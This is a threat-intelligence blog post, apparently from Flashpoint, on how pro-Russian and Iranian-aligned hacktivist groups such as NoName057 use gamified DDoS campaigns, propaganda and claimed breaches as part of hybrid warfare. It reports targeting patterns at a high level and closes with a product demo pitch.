The post Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing appeared first on Flashpoint.
In this post we examine how modern hacktivism has evolved into a tool of global hybrid warfare, analyzing crowdsourced attack tactics, media-driven propaganda, and real-world impacts across Ukraine, the Middle East, European Union, and NATO nations.
Table Of ContentsHacktivism used to be perceived as digital graffiti, with lone-wolf threat actors defacing government websites or temporarily crashing banking portals to make a political point. However, Flashpoint is tracking a fundamental shift in how these groups operate.
Modern hacktivism is evolving into a disciplined component of global hybrid warfare, capable of bridging digital disruptions with tangible real-world impact. Today, these operations blur the line between volunteer activism and coordinated state interest, leveraging crowdsourced infrastructure to disrupt critical utilities, manipulate media narratives, and target public infrastructure on a global scale. Unpacking these modern hacktivist collectives reveals what their tactics look like in practice and their far-reaching consequences across dozens of nations.
Hacktivism is the use of cyberattacks to promote or advance a particular political or social cause, leveraging a wide range of tactics such as website defacement, distributed denial-of-service (DDoS) attacks, and data breaches. Modern hacktivist collectives serve as the loud, high-visibility arm of cyber conflict—frequently aligning with state geopolitical interests, as seen most prominently in recent pro-Russian operations and Iranian-aligned cyber campaigns.
These pro-Russian hacktivist groups, such as NoName057 and Killnet, alongside pro-Iranian collectives and proxy ecosystems like Handala Hack, often react to the news cycle and target countries designated by state media or ideological narratives as enemies. As such, modern hacktivist campaigns are opportunistic and tied to global events—from the escalation in the Middle East following military operations like Operation Epic Fury, to the Milan-Cortina Winter Olympics and new aid packages to Ukraine. These groups’ justification narratives typically mirror state messaging.
In tracking modern hacktivist groups, Flashpoint analysts identified a new method these groups are utilizing to convert ordinary devices into tools for hybrid warfare—the gamification of cyberattacks. Flashpoint has observed groups like NoName057 turning DDoS attacks into community-based “patriotic online games,” such as their “DDoSia Project,” with participants earning military-style ranks and cryptocurrency rewards for overloading the websites of government institutions, banks, and various infrastructure across various countries.
This model has enabled the scaling of operations by utilizing a large, low-skilled participant base rather than having to rely on sophisticated technical tradecraft. The model’s decentralized structure and ideological appeal continue to pose a significant challenge for international law enforcement.
Beyond technical disruptions, publicity is the primary currency of modern hacktivism. Hacktivist groups demonstrate a consistent pattern of media-seeking behavior and self-promotion, likely intended to amplify their perceived impact and reinforce notoriety within the broader cyber threat landscape. Many of these groups repeatedly repost media coverage and news articles referencing themselves.
This serves as a curated self-promotion mechanism, allowing the group to selectively showcase external validation of its operations, including coverage from mainstream and security-focused outlets, to its followers. This behavior aligns with a broader trend observed with especially pro-Russian hacktivist collectives, in which media visibility is treated as a measure of operational success independent of verified technical impact. It also serves as a deliberate tactic for engagement and recruitment that reinforces “patriotic” branding and sustains participant morale and visibility.
In some cases, the digital targeting of hacktivist collectives is more aligned with kinetic objectives, rather than public perception or propaganda initiatives. This is especially true for Iranian-aligned hacktivists and proxy groups who are more deeply intertwined with military operations in the Middle East. These groups have expanded their operations from website disruptions into claims of large-scale data wipers, extortion, and cyberattacks targeting key infrastructure across the Gulf.
Major geopolitical flashpoints in the Middle East have triggered waves of hacktivist activity that has spread across North America, with threat actors targeting supply chains, financial infrastructure, and operational technology and control systems.
Simultaneously, pro-Russian hacktivist groups, particularly NoName057, have been extremely prolific within the last year—carrying out two major illicit campaigns heavily targeting Ukraine, which then spilled over to more than 30 nations globally. The following breakdown contains statistics and targeting dynamics of pro-Russian hacktivist groups observed between July 2025 and 2026:
Ukraine has been the primary target for pro-Russian hacktivist groups who seek to damage Ukrainian infrastructure and morale. Anti-Ukrainian content is constantly distributed through dedicated per-language channels, making it the most linguistically developed target spanning six languages. Involved channels each post near-identical translated content within minutes to hours of the Russian original, down to the same image file with identical SHA1 hashes, which suggests a sustained propaganda distribution operation.
This has resulted in alleged data breaches impacting Ukrainian General Staff, military enlistment offices, medical, and morgue databases to push a casualty-count narrative. It also has resulted in the defacement or disruption of websites of regional capitals and administrative centers, energy plants, water and power-adjacent infrastructure, and many more.
However, Ukraine is not the sole casualty of modern hacktivism. Recent pro-Russian hacktivist campaigns have spread to other EU nations and NATO members. Germany, the United Kingdom, and Spain have been observed to be priority targets, with threat actors targeting public transportation, federal and security agencies, municipal government and utilities, financial markets, and other infrastructure. In some cases, hacktivist campaigns manifest in the real-world, with physical sticker drives on municipal streets, alongside doxxing operations releasing alleged personal data and automated scans hijacking exposed CCTV camera systems across Europe.
As hacktivist operations continue to blur the boundary between digital disruption and real-world interference, organizations can no longer view DDoS attacks or low-level intrusions as simple background noise. Protecting critical assets requires proactive visibility into threat actor networks, early detection of targeting narratives, and primary source threat intelligence.
Request a demo today to see how Flashpoint provides actionable intelligence to help security teams, government agencies, and infrastructure providers identify, monitor, and mitigate emerging hacktivist campaigns before they impact operations.
The post The Evolution of Hacktivism in Hybrid Warfare: Modern Tactics and Real-World Impact appeared first on Flashpoint.
